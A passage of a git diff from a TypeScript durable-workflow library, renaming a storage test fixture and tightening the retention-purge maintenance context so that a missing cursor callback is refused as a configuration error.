wake whose recovery journal is poisoned', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const runner = new TestRunner(state, timedEnv()); await startTimed(runner, 'run-both-duties'); elapseDeadlines(values); @@ -5275,7 +5261,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('runs the expired step body once when a real resume races the wake', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const env = makeProductionEnv(); const counted = countedTimedRuntime(env.storage); env.runtime = counted.runtime; @@ -5302,7 +5288,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('arms, fences and resumes a top-level step id containing a dot', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const runner = new TestRunner(state, timedEnv()); const started = await startTimed(runner, 'run-dotted', 'timed-dotted'); @@ -5353,7 +5339,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('arms the deadline of a run whose start was interrupted', async () => { const events: string[] = []; - const { state, values } = recoveryStorage(events); + const { state, values } = durableKeyValueStorageFixture(events); const env = timedEnv(); const token = 'attempt-token'; // The start leg as an interrupted one leaves it: the claim is reserved and @@ -5396,7 +5382,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('keeps the recovery cadence when a wake cannot verify its deployment', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const env = timedEnv(); // A namespace bound to another deployment's database: verification throws on // every wake, so the deadline duty never runs and its ledger can never @@ -5423,7 +5409,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('charges the entry the wake was working on when its own re-arm fails', async () => { - const { storage, values } = recoveryStorage(); + const { storage, values } = durableKeyValueStorageFixture(); let setAlarmCalls = 0; const state = { storage: { @@ -5489,7 +5475,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('touches no deadline storage for a run that arms nothing', async () => { const events: string[] = []; - const { state } = recoveryStorage(events); + const { state } = durableKeyValueStorageFixture(events); const runner = new TestRunner(state, makeProductionEnv()); const started = await startGated(runner); @@ -5514,7 +5500,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('reports an unarmable deadline once, not at every boundary', async () => { - const { state } = recoveryStorage(); + const { state } = durableKeyValueStorageFixture(); const runner = new TestRunner(state, timedEnv()); const logged: string[] = []; const log = vi @@ -5585,7 +5571,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('leaves a retry wake when the first deadline write of a start fails', async () => { const events: string[] = []; - const { storage, values, alarms } = recoveryStorage(events); + const { storage, values, alarms } = durableKeyValueStorageFixture(events); const { state } = deadlineWriteFailures(storage, { name: 'timed:run-first-arm', once: true, @@ -5629,7 +5615,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('leaves a retry wake when a resume boundary is the first arm and it fails', async () => { const events: string[] = []; - const { storage, values, alarms } = recoveryStorage(events); + const { storage, values, alarms } = durableKeyValueStorageFixture(events); const { state, stop } = deadlineWriteFailures(storage, { name: 'timed-relay:run-relay', }); @@ -5679,7 +5665,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('keeps a wake when an interrupted start cannot record its deadline', async () => { const events: string[] = []; - const { storage, values, alarms } = recoveryStorage(events); + const { storage, values, alarms } = durableKeyValueStorageFixture(events); const { state, stop } = deadlineWriteFailures(storage, { name: 'timed:run-recovery-arm', }); @@ -5735,7 +5721,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('writes nothing on a no-record wake for a run that is not suspended', async () => { const events: string[] = []; - const { storage, values } = recoveryStorage(events); + const { storage, values } = durableKeyValueStorageFixture(events); const state = { id: { name: 'timed:run-finished' }, storage, @@ -5778,7 +5764,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('keeps the recovery cadence when the retry ledger itself cannot be written', async () => { - const { storage, values, alarms } = recoveryStorage(); + const { storage, values, alarms } = durableKeyValueStorageFixture(); const { state } = deadlineWriteFailures(storage); const armedAt = Date.now() - TIMED_DEADLINE_MS - 1; const armed = armedEntry('gate', armedAt); @@ -5817,7 +5803,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('keeps the recovery cadence when an unwritable ledger shares a wake with a poisoned journal', async () => { - const { storage, values, alarms } = recoveryStorage(); + const { storage, values, alarms } = durableKeyValueStorageFixture(); const { state } = deadlineWriteFailures(storage); const armedAt = Date.now() - TIMED_DEADLINE_MS - 1; const env = makeProductionEnv(); @@ -5850,7 +5836,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('arms nothing and runs no step body when two suspensions share one key', async () => { - const { storage, values } = recoveryStorage(); + const { storage, values } = durableKeyValueStorageFixture(); const state = { id: { name: 'timed-collision:run-collision' }, storage, @@ -5891,7 +5877,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('resumes one foreach iteration per wake and re-arms from the new fence', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const env = makeProductionEnv(); const each = foreachRuntime(env.storage, 'timed-foreach'); env.runtime = each.runtime; @@ -5934,7 +5920,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('resumes every suspended iteration of a concurrent foreach in one wake', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const env = makeProductionEnv(); const each = foreachRuntime(env.storage, 'timed-foreach-concurrent', { concurrency: 3, @@ -5978,7 +5964,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('clears a concurrent foreach with more items than concurrency batch by batch', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const env = makeProductionEnv(); const each = foreachRuntime(env.storage, 'timed-foreach-batched', { concurrency: 2, @@ -6049,7 +6035,7 @@ describe('DurableObjectRunner suspension deadlines', () => { // written from an unvalidated name would discard itself on read-back. // The other four shapes were already skipped — regression pins. const events: string[] = []; - const { storage } = recoveryStorage(events); + const { storage } = durableKeyValueStorageFixture(events); const state = { id: { name }, storage } as unknown as DurableObjectState; const env = makeProductionEnv(); const reads = statusStub(async () => null); @@ -6067,7 +6053,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('converges to no alarm on a no-record wake without an object name', async () => { const events: string[] = []; - const { state, values } = recoveryStorage(events); + const { state, values } = durableKeyValueStorageFixture(events); const env = makeProductionEnv(); const reads = statusStub(async () => null); env.runtime = { ...reads } as unknown as RunnerRuntime; @@ -6086,7 +6072,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('keeps the record and its wake when a nothing-due wake reads a degraded summary', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const env = makeProductionEnv(); // Mastra's in-memory fallback: storage unavailable while the isolate still // holds the run — 'suspended' with no suspended paths and no fences. @@ -6137,7 +6123,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('charges the ledger instead of wiping the record when a due wake reads a degraded summary', async () => { - const { state, values } = recoveryStorage(); + const { state, values } = durableKeyValueStorageFixture(); const env = makeProductionEnv(); const reads = statusStub(async () => ({ runId: 'run-degraded-due', @@ -6179,7 +6165,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('re-arms to the current suspension when a retry wake holds only a stale record', async () => { - const { storage, values, alarms } = recoveryStorage(); + const { storage, values, alarms } = durableKeyValueStorageFixture(); const { state, fail } = deadlineWriteFailures(storage, { name: 'timed-relay-shortening:run-shortening', once: true, @@ -6230,7 +6216,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('arms a parallel suspension missed by a failed write on the next nothing-due wake', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const gateSuspendedAt = Date.now(); const otherSuspendedAt = Date.now() + 1; const env = makeProductionEnv(); @@ -6264,7 +6250,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('clears a stale record and its alarm when the run moved on with nothing to arm', async () => { const events: string[] = []; - const { state, values } = recoveryStorage(events); + const { state, values } = durableKeyValueStorageFixture(events); const env = makeProductionEnv(); env.runtime = { ...statusStub(async () => ({ @@ -6284,7 +6270,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('keeps the backoff of a re-derived entry instead of the past deadline or the floor', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const suspendedAt = Date.now() - TIMED_DEADLINE_MS - 1; const nextAttemptAt = Date.now() + 300_000; const entry = { @@ -6312,7 +6298,7 @@ describe('DurableObjectRunner suspension deadlines', () => { }); it('reconciles idempotently on a wake just before the deadline and resumes once after it', async () => { - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); // Authoritative state whose derived deadline lands 150 ms ahead of the // wake — workerd can deliver an alarm marginally early. const suspendedAt = Date.now() + 150 - TIMED_DEADLINE_MS; @@ -6348,7 +6334,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('keeps the recovery cadence when a no-record wake cannot read authoritative state', async () => { const events: string[] = []; - const { storage, alarms } = recoveryStorage(events); + const { storage, alarms } = durableKeyValueStorageFixture(events); const state = { id: { name: 'timed:run-status-throws' }, storage, @@ -6386,7 +6372,7 @@ describe('DurableObjectRunner suspension deadlines', () => { it('keeps a valid record on the recovery cadence when its nothing-due wake cannot read state', async () => { const events: string[] = []; - const { storage, values, alarms } = recoveryStorage(events); + const { storage, values, alarms } = durableKeyValueStorageFixture(events); const state = { id: { name: 'timed:run-throws-recorded' }, storage, @@ -6467,7 +6453,7 @@ describe('DurableObjectRunner and the deployment execution fence', () => { // #given — a locked deployment and a start that would otherwise journal a // recovery record, arm an alarm, and reserve the run's owner. const events: string[] = []; - const { state } = recoveryStorage(events); + const { state } = durableKeyValueStorageFixture(events); const reserve = vi.fn(async () => true); const env = makeProductionEnv(testStorage(), { reserve, @@ -6513,7 +6499,7 @@ describe('DurableObjectRunner and the deployment execution fence', () => { it('keeps reads open while locked', async () => { // #given — a run started before the lock. const env = timedEnv(); - const { state } = recoveryStorage(); + const { state } = durableKeyValueStorageFixture(); const runner = new TestRunner(state, env); await startTimed(runner, 'fenced-read'); await env.fence?.seed('open'); @@ -6537,7 +6523,7 @@ describe('DurableObjectRunner and the deployment execution fence', () => { it('leaves a due deadline uncharged and unconverged under a locked fence, then fires it after reopen', async () => { // #given — a suspended run with a due deadline on a locked deployment. const env = timedEnv(); - const { state, values, alarms } = recoveryStorage(); + const { state, values, alarms } = durableKeyValueStorageFixture(); const runner = new TestRunner(state, env); await startTimed(runner, 'fenced-deadline'); elapseDeadlines(values); @@ -7563,7 +7549,7 @@ describe('FS8 D3 host activation prepared absence and local zero', () => { }, configurable: true, }); - const journal = recoveryStorage(); + const journal = durableKeyValueStorageFixture(); const runner = new TestRunner(journal.state, env); const makeClaim = async () => { const reserved = await reservations.reserve({ diff --git a/packages/flowsafe/src/do-runner/durable-object.ts b/packages/flowsafe/src/do-runner/durable-object.ts index 9a76c518..35789fe1 100644 --- a/packages/flowsafe/src/do-runner/durable-object.ts +++ b/packages/flowsafe/src/do-runner/durable-object.ts @@ -778,6 +778,16 @@ export abstract class DurableObjectRunner { await storage.setAlarm(Date.now() + RUN_OWNER_RECOVERY_DELAY_MS); } + /** + * The run-owner journal's absence policy, one rule across its entry points: + * arming (here, and the alarm it takes through #armAlarmFor) and clearing + * (#clearRunOwnerRecovery) are advisory and do nothing on a host with no + * storage, while promoting a claim to `prepared` (#prepareRunOwner) requires + * storage and refuses without it. A host that journals nothing leaves no + * claim for a wake to recover, so arming and clearing have nothing to do; a + * prepared run whose journal cannot be written leaves a claim no wake can + * find, which is why that half fails the start instead. + */ async #armRunOwnerRecovery(recovery: RunOwnerRecovery): Promise { const storage = this.state?.storage; if (!storage) return; diff --git a/packages/flowsafe/src/do-runner/execution-fence.test.ts b/packages/flowsafe/src/do-runner/execution-fence.test.ts index 895bd05f..fb4bdf7e 100644 --- a/packages/flowsafe/src/do-runner/execution-fence.test.ts +++ b/packages/flowsafe/src/do-runner/execution-fence.test.ts @@ -37,9 +37,19 @@ import { InvalidExecutionFenceRequestError, validateExecutionFenceAdmissionSchema, } from './execution-fence.js'; +import { StartReservationUnreadableError as BarrelStartReservationUnreadableError } from './index.js'; import { init } from './init.js'; import type { RunnerRuntime } from './runtime.js'; -import { StartIdempotencyStore } from './start-idempotency.js'; +import { + decodeStartReservationAdmissionResult as reExportedDecode, + validateStartReservationAdmissionSchema as reExportedValidate, + StartIdempotencyStore, + StartReservationUnreadableError, +} from './start-idempotency.js'; +import { + decodeStartReservationAdmissionResult, + validateStartReservationAdmissionSchema, +} from './start-reservation-contract.js'; const fenceDatabases = new WeakMap< ExecutionFenceStore, @@ -3097,3 +3107,68 @@ describe('FS8 D3 proof activation', () => { expect((await h.store.read('key'))?.owner).toEqual(execution.owner); }); }); + +// --------------------------------------------------------------------------- +// The contracts the fence's reservation seam rests on, each carrying its own +// evidence. `refuses mismatched database ports before I/O and never lets the +// legacy setter alter or acknowledge a modern tuple` is the structural DB-port +// control and establishes nothing beyond it, so the import boundary, the codec +// definitions and the refusal constructor are asserted here instead of being +// read off that one case. +// --------------------------------------------------------------------------- + +type SourceReader = { readFileSync(path: string, encoding: string): string }; + +/** + * A sibling module's source, through getBuiltinModule so this workers-typed + * program needs no Node ambient types — the idiom test-support/sqlite.ts uses. + */ +function siblingSource(file: string): string { + const fs = ( + globalThis as { + process?: { getBuiltinModule?: (id: string) => unknown }; + } + ).process?.getBuiltinModule?.('node:fs') as SourceReader | undefined; + if (!fs) throw new Error('node:fs unavailable — tests require node >= 22'); + return fs.readFileSync( + new URL(file, (import.meta as ImportMeta & { url: string }).url).pathname, + 'utf8', + ); +} + +describe('start-reservation contract evidence', () => { + it('keeps the reservation contract a leaf of three declared edges', () => { + // Source edges, not a cycle check: a cycle rule admits a one-way edge from + // this leaf into a store, a fence, Runtime or a capability, and admitting + // one would put the fence's codecs behind the graph they decode for. Type- + // only edges count — they are erased, and the boundary is not. + const edges = siblingSource('./start-reservation-contract.ts') + .split('\n') + .map((line) => / from '([^']+)';$/.exec(line)?.[1]) + .filter((specifier): specifier is string => specifier !== undefined); + expect(edges).toEqual([ + '../approval-api/principal-identity.js', + './execution-admission.js', + './path-safe-id.js', + ]); + }); + + it('gives the fence and the reservation store one definition of each codec', () => { + // The strict admission-codec suites drive these two functions through the + // store's re-export; the fence imports them from the leaf. Same function + // objects, so that evidence is evidence about the fence's own decode. + expect(reExportedDecode).toBe(decodeStartReservationAdmissionResult); + expect(reExportedValidate).toBe(validateStartReservationAdmissionSchema); + }); + + it('publishes the reservation refusal constructor rather than a second copy', () => { + // A forwarding copy would satisfy every instanceof test inside the store + // and fail every one a consumer writes against the package surface. + expect(BarrelStartReservationUnreadableError).toBe( + StartReservationUnreadableError, + ); + expect(new StartReservationUnreadableError('key')).toBeInstanceOf( + BarrelStartReservationUnreadableError, + ); + }); +}); diff --git a/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts b/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts index d461ec8e..faf45253 100644 --- a/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts +++ b/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts @@ -1,14 +1,45 @@ // SPDX-License-Identifier: Apache-2.0 import { describe, expect, it } from 'vitest'; -import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; +import { + openSqlite, + type SqliteUnitDatabase, + sqliteUnitDatabase, +} from '../../test-support/sqlite.js'; +import type { ResourceOwnershipDatabase } from '../approval-api/resource-ownership.js'; +import type { SignalDatabase } from '../signals/d1-shared.js'; +import type { ExecutionFenceDatabase } from './execution-fence.js'; import type { InitialAdmissionDatabase } from './fenced-workflow-capability.js'; +import type { SnapshotDatabase } from './workflow-snapshot-row.js'; + +// The declared return of sqliteUnitDatabase is what the `as` assertion in each +// suite that drives it is checked against. These erased assertions hold the +// facade against the D1 subsets those suites name, so a narrowing of the facade +// fails here rather than at the assertion sites. `ScheduleDatabase` is an alias +// of `SignalDatabase` (schedules-d1.ts:87). Same technique as +// test-support/d1-type-compatibility.ts, which holds the D1 side of this seam. +type AssertTrue = T; +type _FacadeSatisfiesSignalDatabase = AssertTrue< + SqliteUnitDatabase extends SignalDatabase ? true : false +>; +type _FacadeSatisfiesSnapshotDatabase = AssertTrue< + SqliteUnitDatabase extends SnapshotDatabase ? true : false +>; +type _FacadeSatisfiesInitialAdmissionDatabase = AssertTrue< + SqliteUnitDatabase extends InitialAdmissionDatabase ? true : false +>; +type _FacadeSatisfiesExecutionFenceDatabase = AssertTrue< + SqliteUnitDatabase extends ExecutionFenceDatabase ? true : false +>; +type _FacadeSatisfiesResourceOwnershipDatabase = AssertTrue< + SqliteUnitDatabase extends ResourceOwnershipDatabase ? true : false +>; describe('native SQLite unit batch transport', () => { it('returns actual rows, executes DML once and preserves changes through SELECT', async () => { const sqlite = openSqlite(); sqlite.exec('CREATE TABLE fixture (id INTEGER PRIMARY KEY, value TEXT)'); - const db = sqliteUnitDatabase(sqlite) as InitialAdmissionDatabase; + const db: InitialAdmissionDatabase = sqliteUnitDatabase(sqlite); const results = await db.batch([ db.prepare("INSERT INTO fixture(value) VALUES ('initial') RETURNING *"), db.prepare('SELECT * FROM fixture WHERE id = 0'), @@ -43,7 +74,7 @@ describe('native SQLite unit batch transport', () => { it('rolls back preceding native writes when a later statement throws', async () => { const sqlite = openSqlite(); sqlite.exec('CREATE TABLE fixture (id INTEGER PRIMARY KEY, value TEXT)'); - const db = sqliteUnitDatabase(sqlite) as InitialAdmissionDatabase; + const db: InitialAdmissionDatabase = sqliteUnitDatabase(sqlite); await expect( db.batch([ db.prepare("INSERT INTO fixture VALUES (1, 'first') RETURNING *"), @@ -58,7 +89,7 @@ describe('native SQLite unit batch transport', () => { sqlite.exec( "CREATE TABLE fixture (id INTEGER PRIMARY KEY, value TEXT); INSERT INTO fixture VALUES (1, 'occupied')", ); - const db = sqliteUnitDatabase(sqlite) as InitialAdmissionDatabase; + const db: InitialAdmissionDatabase = sqliteUnitDatabase(sqlite); expect( await db.batch([ db.prepare( diff --git a/packages/flowsafe/src/execution-entry-matrix.test.ts b/packages/flowsafe/src/execution-entry-matrix.test.ts index e7a485a0..168a3d4a 100644 --- a/packages/flowsafe/src/execution-entry-matrix.test.ts +++ b/packages/flowsafe/src/execution-entry-matrix.test.ts @@ -63,6 +63,7 @@ import ts from 'typescript'; import { describe, expect, it, vi } from 'vitest'; import { z } from 'zod'; +import { durableKeyValueStorageFixture } from '../test-support/durable-key-value-storage.js'; import { openSqlite, type SqliteDatabase, @@ -77,7 +78,6 @@ import { type ResourceOwnershipDatabase, } from './approval-api/index.js'; import { BackgroundTaskHost } from './background-tasks/index.js'; -import type { DurableKeyValueStorage } from './do-runner/cf-types.js'; import type { D1StartExecutionIdentity, RunExecutionIdentity, @@ -363,24 +363,9 @@ async function matrixRunner( runId: string, ): Promise<{ runner: MatrixRunner; runtime: RunnerRuntime }> { const runtime = await gatedRuntime(fence, database); - const values = new Map(); - let alarm: number | undefined; - const storage: DurableKeyValueStorage = { - get: async (key: string) => - structuredClone(values.get(key)) as T | undefined, - put: async (key, value) => { - values.set(key, structuredClone(value)); - }, - delete: async (key) => values.delete(key), - setAlarm: async (at) => { - alarm = Number(at); - }, - deleteAlarm: async () => { - alarm = undefined; - }, - }; + const journal = durableKeyValueStorageFixture(); const runner = new MatrixRunner( - { id: { name: `gated:${runId}` }, storage }, + { id: { name: `gated:${runId}` }, storage: journal.storage }, { runtime, owners: new D1ResourceOwnershipStore( @@ -391,7 +376,7 @@ async function matrixRunner( DB: database, }, ); - expect(alarm).toBeUndefined(); + expect(journal.alarms).toEqual([]); return { runner, runtime }; } diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts index 19766102..9754e405 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts @@ -35,8 +35,8 @@ import { type FlowsafeWorkerConfig, type FlowsafeWorkerEnv, MAINTENANCE_INSTANCE_NAME, - type MaintenanceDutyContext, type MaintenanceHealth, + type MaintenancePurgeDutyContext, } from './flowsafe-worker.js'; import { approvalStoreFactoryFor } from './host-approval-service.js'; import { MAINTENANCE_RECEIPT_HEADER } from './maintenance-capability.js'; @@ -173,8 +173,8 @@ function makeWorker( }); } -function retentionContext(): MaintenanceDutyContext { - const context: MaintenanceDutyContext = { +function retentionContext(): MaintenancePurgeDutyContext { + const context: MaintenancePurgeDutyContext = { advanceRetentionCursor: async (cursor) => { context.retentionCursor = structuredClone(cursor); }, @@ -1531,11 +1531,25 @@ describe('createFlowsafeWorker maintenance duties', () => { expect(lines[0]).not.toHaveProperty('escalated'); }); + it('requires the retention cursor seam in the purge duty signature', async () => { + capturedLogs(); + const worker = makeWorker(); + const { env } = makeEnv(); + + // @ts-expect-error the purge context requires advanceRetentionCursor + const outcome = await worker.runMaintenanceDuty('purge', env, {}); + + expect(outcome).toEqual({ + ok: false, + error: 'retention purge requires advanceRetentionCursor', + }); + }); + it.each([ undefined, null, false, - ])('refuses a missing or non-callable retention callback before factories and schema work: %j', async (advanceRetentionCursor) => { + ])('refuses a missing or non-callable retention callback before any purge surface: %j', async (advanceRetentionCursor) => { const logs = capturedLogs(); const artifactStore = vi.fn(() => ({ deleteRun: async () => 0 })); const extraPurgeDuties = vi.fn(async () => ({ extraDuty: 'ran' })); @@ -1549,23 +1563,35 @@ describe('createFlowsafeWorker maintenance duties', () => { ...env, THREAD_RETENTION_DAYS: '30', }, - advanceRetentionCursor === undefined - ? undefined - : ({ advanceRetentionCursor } as unknown as MaintenanceDutyContext), + // MaintenancePurgeDutyContext requires the seam, so this branch belongs + // to hosts the types do not reach; the cast is what one looks like. + { advanceRetentionCursor } as unknown as MaintenancePurgeDutyContext, ); + // #then — a wiring fault, not a purge that failed: the invocation is + // refused under its own config-error and no surface runs, so the idle + // thread survives and no combined maintenance line lands. expect(outcome).toEqual({ ok: false, - error: expect.stringContaining('advanceRetentionCursor'), + error: 'retention purge requires advanceRetentionCursor', }); + expect( + logs + .errors() + .filter((line) => line.includes('config-error')) + .map((line) => JSON.parse(line) as Record), + ).toEqual([ + { + type: 'config-error', + var: 'maintenance.purge.advanceRetentionCursor', + trigger: 'purge', + reason: 'retention purge requires advanceRetentionCursor', + }, + ]); expect(artifactStore).not.toHaveBeenCalled(); - expect(extraPurgeDuties).toHaveBeenCalledOnce(); - expect(await threadIds(env)).toEqual([]); - expect(maintenanceLines(logs.lines())[0]).toMatchObject({ - approvalsPurged: 0, - threadsPurged: 1, - extraDuty: 'ran', - }); + expect(extraPurgeDuties).not.toHaveBeenCalled(); + expect(await threadIds(env)).toEqual(['acme_idle']); + expect(maintenanceLines(logs.lines())).toEqual([]); expect( await env.DB.prepare( "SELECT name FROM sqlite_schema WHERE name = 'flowsafe_resource_owners'", @@ -1809,14 +1835,18 @@ describe('createFlowsafeWorker maintenance duties', () => { ); // #then — the failure is on record and the OTHER duties still folded - // into the one combined maintenance line + // into the one combined maintenance line. The line must name the cause + // this case injects, not only the surface: a fixture-shaped failure + // reaches the same surface, and a bare surface check passes while the + // isolation under test was never exercised. expect( logs .errors() .some( (line) => line.includes('maintenance-error') && - line.includes('retention-purge'), + line.includes('retention-purge') && + line.includes('snapshot table wedged'), ), ).toBe(true); const lines = maintenanceLines(logs.lines()); @@ -2020,7 +2050,8 @@ describe('createFlowsafeWorker maintenance duties', () => { .some( (line) => line.includes('maintenance-error') && - line.includes('thread-retention-purge'), + line.includes('thread-retention-purge') && + line.includes('threads table wedged'), ), ).toBe(true); const lines = maintenanceLines(logs.lines()); @@ -2154,7 +2185,8 @@ describe('createFlowsafeWorker maintenance duties', () => { .some( (line) => line.includes('maintenance-error') && - line.includes('extra-purge-duties'), + line.includes('extra-purge-duties') && + line.includes('reaper wedged'), ), ).toBe(true); expect(maintenanceLines(logs.lines())).toHaveLength(1); diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.ts index 1d00b7c7..69490493 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.ts @@ -665,6 +665,12 @@ async function validateFleetChannelTopology( export type MaintenanceDuty = 'deadline' | 'sweep' | 'purge' | 'tick'; +/** + * The cursor seam a duty resumes from and advances. Each field is optional + * because the deadline sweep and the retention purge own one pair each, and a + * caller driving one duty has nothing to say about the other's cursor. The + * purge takes `MaintenancePurgeDutyContext` instead, which requires its half. + */ export interface MaintenanceDutyContext { deadlineCursor?: RunDeadlineCursor; advanceDeadlineCursor?(cursor: RunDeadlineCursor): Promise; @@ -672,6 +678,27 @@ export interface MaintenanceDutyContext { advanceRetentionCursor?(cursor: RunRetentionCursor): Promise; } +/** + * The retention purge's own context. `advanceRetentionCursor` is required here + * because the layer it feeds requires it: `purgeExpiredWorkflowRuns` declares + * `advanceCursor` non-optional (do-runner/d1-storage.ts), and a purge with + * nowhere to record its progress rescans the same terminal rows on every + * alarm. Declaring it optional on the shared context and enforcing it at run + * time turned a host's wiring mistake into a purge that reports failure. + */ +export interface MaintenancePurgeDutyContext extends MaintenanceDutyContext { + advanceRetentionCursor(cursor: RunRetentionCursor): Promise; +} + +const RETENTION_CURSOR_SEAM_REASON = + 'retention purge requires advanceRetentionCursor'; + +function hasRetentionCursorSeam( + context: MaintenanceDutyContext | undefined, +): context is MaintenancePurgeDutyContext { + return typeof context?.advanceRetentionCursor === 'function'; +} + /** The Worker handler plus the maintenance duty seam consumed by its DO. */ export interface FlowsafeWorker { fetch( @@ -679,8 +706,14 @@ export interface FlowsafeWorker { env: Env, ctx: FlowsafeWorkerContext, ): Promise; + /** The purge duty requires the retention cursor seam; the others do not. */ + runMaintenanceDuty( + duty: 'purge', + env: Env, + context: MaintenancePurgeDutyContext, + ): Promise; runMaintenanceDuty( - duty: MaintenanceDuty, + duty: Exclude, env: Env, context?: MaintenanceDutyContext, ): Promise; @@ -1145,7 +1178,7 @@ export function createFlowsafeWorker( async function runPurgeMaintenance( env: Env, trigger: string, - context?: MaintenanceDutyContext, + context: MaintenancePurgeDutyContext, ): Promise { const failures: string[] = []; const recordFailure = (surface: string, error: unknown): void => { @@ -1162,10 +1195,7 @@ export function createFlowsafeWorker( }; let purged: number | undefined; try { - const advanceCursor = context?.advanceRetentionCursor; - if (typeof advanceCursor !== 'function') { - throw new Error('retention purge requires advanceRetentionCursor'); - } + const advanceCursor = context.advanceRetentionCursor; const db = env.DB; const prepare = db.prepare; const batch = db.batch; @@ -1178,7 +1208,7 @@ export function createFlowsafeWorker( prepare: prepare.bind(db), batch: batch.bind(db), }; - const storedCursor = parseRunRetentionCursor(context?.retentionCursor); + const storedCursor = parseRunRetentionCursor(context.retentionCursor); const cursor = storedCursor?.tablePrefix === (storageTablePrefix?.toLowerCase() ?? '') && @@ -1650,7 +1680,11 @@ export function createFlowsafeWorker( } }, - async runMaintenanceDuty(duty, env, context) { + async runMaintenanceDuty( + duty: MaintenanceDuty, + env: Env, + context?: MaintenanceDutyContext, + ): Promise { try { await ensureDeploymentIdentityBindings(env); await validateFleetChannelTopology(env); @@ -1675,6 +1709,24 @@ export function createFlowsafeWorker( }); } if (duty === 'purge') { + if (!hasRetentionCursorSeam(context)) { + // The same refusal the tick duty makes below for an unwired + // builder: the cursor seam is part of the purge's wiring, not one + // of its surfaces, so a host that omits it gets the misconfig + // named rather than its remaining surfaces purged and the run + // retention reported as failed. MaintenancePurgeDutyContext + // requires the seam; this is the check for hosts types do not + // reach. + console.error( + JSON.stringify({ + type: 'config-error', + var: 'maintenance.purge.advanceRetentionCursor', + trigger: duty, + reason: RETENTION_CURSOR_SEAM_REASON, + }), + ); + return { ok: false, error: RETENTION_CURSOR_SEAM_REASON }; + } return await runPurgeMaintenance(env, duty, context); } return await runScheduleTickDuty(env, duty); @@ -2024,24 +2076,27 @@ export function createFlowsafeMaintenanceDurableObject< hasDueDuty(health, intervals, now) ? now : followUpAt, ); - let context: MaintenanceDutyContext | undefined; + // Each duty carries the cursor pair it owns, so the call sits inside the + // branch that builds it: the purge seam is required by its context type, + // which a single call over the whole duty union cannot satisfy. + let outcome: MaintenanceOutcome; if (duty === 'deadline') { const deadlineCursor = await this.#state.storage.get( MAINTENANCE_DEADLINE_CURSOR_KEY, ); - context = { + outcome = await worker.runMaintenanceDuty(duty, this.#env, { ...(deadlineCursor ? { deadlineCursor } : {}), advanceDeadlineCursor: (cursor) => this.#state.storage.transaction(async (transaction) => { await transaction.put(MAINTENANCE_DEADLINE_CURSOR_KEY, cursor); }), - }; + }); } else if (duty === 'purge') { const retentionCursor = await this.#state.storage.get( MAINTENANCE_RUN_RETENTION_CURSOR_KEY, ); - context = { + outcome = await worker.runMaintenanceDuty(duty, this.#env, { ...(retentionCursor === undefined ? {} : { retentionCursor }), advanceRetentionCursor: (cursor) => this.#state.storage.transaction(async (transaction) => { @@ -2050,9 +2105,10 @@ export function createFlowsafeMaintenanceDurableObject< cursor, ); }), - }; + }); + } else { + outcome = await worker.runMaintenanceDuty(duty, this.#env); } - const outcome = await worker.runMaintenanceDuty(duty, this.#env, context); await this.#recordOutcome(duty, Date.now(), outcome); } }; diff --git a/packages/flowsafe/src/host-kit/index.ts b/packages/flowsafe/src/host-kit/index.ts index 9b28800f..4dcfa192 100644 --- a/packages/flowsafe/src/host-kit/index.ts +++ b/packages/flowsafe/src/host-kit/index.ts @@ -99,6 +99,7 @@ export type { MaintenanceDutyContext, MaintenanceHealth, MaintenanceNamespaceLike, + MaintenancePurgeDutyContext, MaintenanceStorage, 